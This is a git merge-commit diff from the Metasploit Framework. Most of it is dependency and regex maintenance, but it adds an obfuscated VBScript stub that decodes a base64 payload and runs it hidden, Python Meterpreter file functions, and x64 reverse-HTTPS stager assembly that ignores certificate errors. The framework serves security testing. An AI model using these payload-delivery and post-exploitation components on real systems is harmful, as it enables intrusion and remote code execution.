Merge branch 'master' of github.com:rapid7/metasploit-framework into enum_ad_perf
commit
f1e563d375
|
@ -3,10 +3,7 @@
|
|||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# Portable ruby version files for rvm
|
||||
.ruby-gemset
|
||||
.ruby-version
|
||||
# RVM control file
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
|
@ -16,7 +13,7 @@
|
|||
config/database.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x86.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
metasploit-framework
|
|
@ -0,0 +1 @@
|
|||
1.9.3-p448
|
|
@ -15,4 +15,4 @@ notifications:
|
|||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
git:
|
||||
depth: 1
|
||||
depth: 5
|
||||
|
|
9
Gemfile
9
Gemfile
|
@ -1,4 +1,4 @@
|
|||
source 'http://rubygems.org'
|
||||
source 'https://rubygems.org'
|
||||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
|
@ -11,7 +11,7 @@ gem 'nokogiri'
|
|||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.8'
|
||||
gem 'packetfu', '1.1.9'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
|
@ -41,7 +41,7 @@ group :development, :test do
|
|||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
gem 'rake', '>= 10.0.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
@ -51,11 +51,10 @@ group :test do
|
|||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||
# testing that the Msf::DBManager activation is respected.
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
|
|
68
Gemfile.lock
68
Gemfile.lock
|
@ -1,62 +1,58 @@
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activemodel (3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.13)
|
||||
activemodel (= 3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activerecord (3.2.14)
|
||||
activemodel (= 3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.13)
|
||||
i18n (= 0.6.1)
|
||||
activesupport (3.2.14)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bourne (1.4.0)
|
||||
mocha (~> 0.13.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (0.9.1)
|
||||
diff-lcs (1.2.2)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
factory_girl (4.2.0)
|
||||
activesupport (>= 3.0.0)
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
i18n (0.6.5)
|
||||
json (1.8.0)
|
||||
metasploit_data_models (0.16.6)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
mocha (0.13.3)
|
||||
metaclass (~> 0.0.1)
|
||||
msgpack (0.5.4)
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.5.9)
|
||||
packetfu (1.1.8)
|
||||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.15.1)
|
||||
rake (10.0.4)
|
||||
redcarpet (2.2.2)
|
||||
pg (0.16.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
robots (0.10.1)
|
||||
rspec (2.13.0)
|
||||
rspec-core (~> 2.13.0)
|
||||
rspec-expectations (~> 2.13.0)
|
||||
rspec-mocks (~> 2.13.0)
|
||||
rspec-core (2.13.1)
|
||||
rspec-expectations (2.13.0)
|
||||
rspec (2.14.1)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rspec-core (2.14.5)
|
||||
rspec-expectations (2.14.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.13.0)
|
||||
shoulda-matchers (1.5.2)
|
||||
rspec-mocks (2.14.3)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
bourne (~> 1.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.1)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.5.2)
|
||||
yard (0.8.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -71,10 +67,10 @@ DEPENDENCIES
|
|||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.8)
|
||||
packetfu (= 1.1.9)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
|
|
4
HACKING
4
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
|||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
|
||||
- Hard tabs, not spaces
|
||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo emptyString >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if path_tlv == '%COMSPEC%':
|
||||
if platform.system() == 'Windows':
|
||||
result = 'cmd.exe'
|
||||
else:
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
||||
if has_windll:
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
result = '/tmp'
|
||||
else:
|
||||
result = os.getenv(path_tlv)
|
||||
result = os.getenv(path_tlv, path_tlv)
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
|
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
|||
m = hashlib.md5()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
|||
m = hashlib.sha1()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
|||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
data = self.std.read()
|
||||
self.data_lock.acquire()
|
||||
self.data += self.std.read()
|
||||
self.data += data
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
|
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
|||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0)[0]):
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
|
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
|||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
|
||||
if method_tlv['value'] in self.extension_functions:
|
||||
handler = self.extension_functions[method_tlv['value']]
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,8 @@
|
|||
aspnet_client/
|
||||
Autodiscover/
|
||||
ecp/
|
||||
EWS/
|
||||
Microsoft-Server-ActiveSync/
|
||||
OAB/
|
||||
PowerShell/
|
||||
Rpc/
|
|
@ -1,6 +1,7 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Rewritten for x64 by agix
|
||||
; Modified to account for memory alignment by rwincey
|
||||
; Compatible: Windows 7
|
||||
; Architecture: x64
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
@ -12,6 +13,7 @@
|
|||
|
||||
load_wininet:
|
||||
; setup the structures we need on the stack...
|
||||
push byte 0 ; alignment
|
||||
mov r14, 'wininet'
|
||||
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
||||
|
@ -20,6 +22,7 @@ load_wininet:
|
|||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
internetopen:
|
||||
push byte 0 ; alignment
|
||||
push byte 0 ; NULL pointer
|
||||
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
||||
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
|
@ -74,6 +77,7 @@ retry:
|
|||
internetsetoption:
|
||||
mov rcx, rsi ; HINTERNET hInternet
|
||||
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push byte 0 ; alignment
|
||||
push qword 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
|
@ -90,6 +94,7 @@ httpsendrequest:
|
|||
xor rdx, rdx ; LPCTSTR lpszHeaders
|
||||
xor r8, r8 ; DWORD dwHeadersLength
|
||||
xor r9, r9 ; LPVOID lpOptional
|
||||
push rdx ; alignment
|
||||
push rdx ; DWORD dwOptionalLength
|
||||
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call rbp
|
||||
|
|
|
@ -776,10 +776,10 @@ class Disassembler
|
|||
def strings_scan(minlen=6)
|
||||
ret = []
|
||||
nexto = 0
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
|
||||
if o - nexto > 0
|
||||
next unless e = get_edata_at(o)
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
|
||||
ret << [o, str] if not block_given? or yield(o, str)
|
||||
nexto = o + str.length
|
||||
end
|
||||
|
|
|
@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
|
|||
end
|
||||
if @show_ascii and d
|
||||
x = xa + d_o*@font_width
|
||||
d = d.gsub(/[^\x20-\x7e]/, '.')
|
||||
d = d.gsub(/[^\x20-\x7e]/n, '.')
|
||||
if wp.empty?
|
||||
render[d, :ascii]
|
||||
else
|
||||
|
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
|
|||
# pop a dialog, scans the sections for a hex pattern
|
||||
def prompt_search_hex
|
||||
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
|
||||
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
||||
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
||||
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
||||
|
|
|
@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
|
|||
def initialize(rstream,opts={})
|
||||
super
|
||||
self.platform = 'x86/win32'
|
||||
self.binary_suffix = 'dll'
|
||||
self.binary_suffix = 'x86.dll'
|
||||
end
|
||||
|
||||
def lookup_error(code)
|
||||
|
|
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
|||
next if @@credentials_skipped[fq_user]
|
||||
next if @@credentials_tried[fq_user] == p
|
||||
|
||||
datastore['USERNAME'] = u.to_s
|
||||
datastore['PASSWORD'] = p.to_s
|
||||
ret = block.call(u, p)
|
||||
|
||||
case ret
|
||||
|
|
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
|||
false
|
||||
end
|
||||
|
||||
def password_prompt?
|
||||
def password_prompt?(username=nil)
|
||||
return true if(@recvd =~ @password_regex)
|
||||
if datastore['USERNAME']
|
||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
||||
if username
|
||||
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -59,7 +59,7 @@ def get_nmap_ver
|
|||
nmap_cmd = [self.nmap_bin]
|
||||
nmap_cmd << "--version"
|
||||
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
||||
res.gsub(/[\x0d\x0a]/,"")
|
||||
res.gsub(/[\x0d\x0a]/n,"")
|
||||
end
|
||||
|
||||
# Takes a version string in the form of Major.Minor and compares to
|
||||
|
@ -68,16 +68,16 @@ end
|
|||
# Comparing an Integer is okay, though.
|
||||
def nmap_version_at_least?(test_ver=nil)
|
||||
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
|
||||
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
||||
end
|
||||
test_ver_str = test_ver.to_s
|
||||
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
installed_ver = get_nmap_ver()
|
||||
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
||||
return false if (vtag.nil? || vtag.empty?)
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
return true if inum_arr[0] > tnum_arr[0]
|
||||
return false if inum_arr[0] < tnum_arr[0]
|
||||
inum_arr[1].to_i >= tnum_arr[1].to_i
|
||||
|
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
|
|||
return false
|
||||
end
|
||||
# Check for commas outside of quoted arguments
|
||||
quoted_22 = /\x22[^\x22]*\x22/
|
||||
quoted_22 = /\x22[^\x22]*\x22/n
|
||||
requoted_str = str.gsub(/'/,"\"")
|
||||
if requoted_str.split(quoted_22).join[/,/]
|
||||
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
||||
|
|
|
@ -358,7 +358,7 @@ class DBManager
|
|||
opts.each { |k,v|
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||
|
@ -481,7 +481,7 @@ class DBManager
|
|||
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for Host: #{k}")
|
||||
|
@ -1536,12 +1536,12 @@ class DBManager
|
|||
if (token[0])
|
||||
# convert the token to US-ASCII from UTF-8 to prevent an error
|
||||
token[0] = token[0].unpack("C*").pack("C*")
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
if (token[1])
|
||||
token[1] = token[1].unpack("C*").pack("C*")
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
ret = {}
|
||||
|
@ -2853,7 +2853,7 @@ class DBManager
|
|||
return REXML::Document.new(data)
|
||||
rescue REXML::ParseException => e
|
||||
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -3055,7 +3055,7 @@ class DBManager
|
|||
@import_filedata[:type] = "Appscan"
|
||||
return :appscan_xml
|
||||
when "entities"
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
|
||||
@import_filedata[:type] = "CI"
|
||||
return :ci_xml
|
||||
end
|
||||
|
@ -3342,8 +3342,8 @@ class DBManager
|
|||
def inspect_single_packet_http(pkt,wspace,task=nil)
|
||||
# First, check the server side (data from port 80).
|
||||
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
|
||||
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
|
@ -3363,8 +3363,8 @@ class DBManager
|
|||
|
||||
# Next, check the client side (data to port 80)
|
||||
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
|
||||
if auth_match.kind_of?(MatchData) and auth_match[1]
|
||||
b64_cred = auth_match[1]
|
||||
else
|
||||
|
@ -3476,7 +3476,7 @@ class DBManager
|
|||
data.each_line do |line|
|
||||
case line
|
||||
when /^[\s]*#/ # Comment lines
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
|
||||
addr = $1
|
||||
port = $2
|
||||
proto = $4
|
||||
|
@ -3492,7 +3492,7 @@ class DBManager
|
|||
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
||||
pass = ""
|
||||
ptype = "smb_hash"
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
|
||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
||||
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
||||
ptype = "password"
|
||||
|
@ -3531,7 +3531,7 @@ class DBManager
|
|||
|
||||
# If hex notation is present, turn them into a character.
|
||||
def dehex(str)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
|
||||
hexen.each { |h|
|
||||
str.gsub!(h,h[2,2].to_i(16).chr)
|
||||
}
|
||||
|
@ -5039,7 +5039,7 @@ class DBManager
|
|||
next if r[0] != 'results'
|
||||
next if r[4] != "12053"
|
||||
data = r[6]
|
||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
|
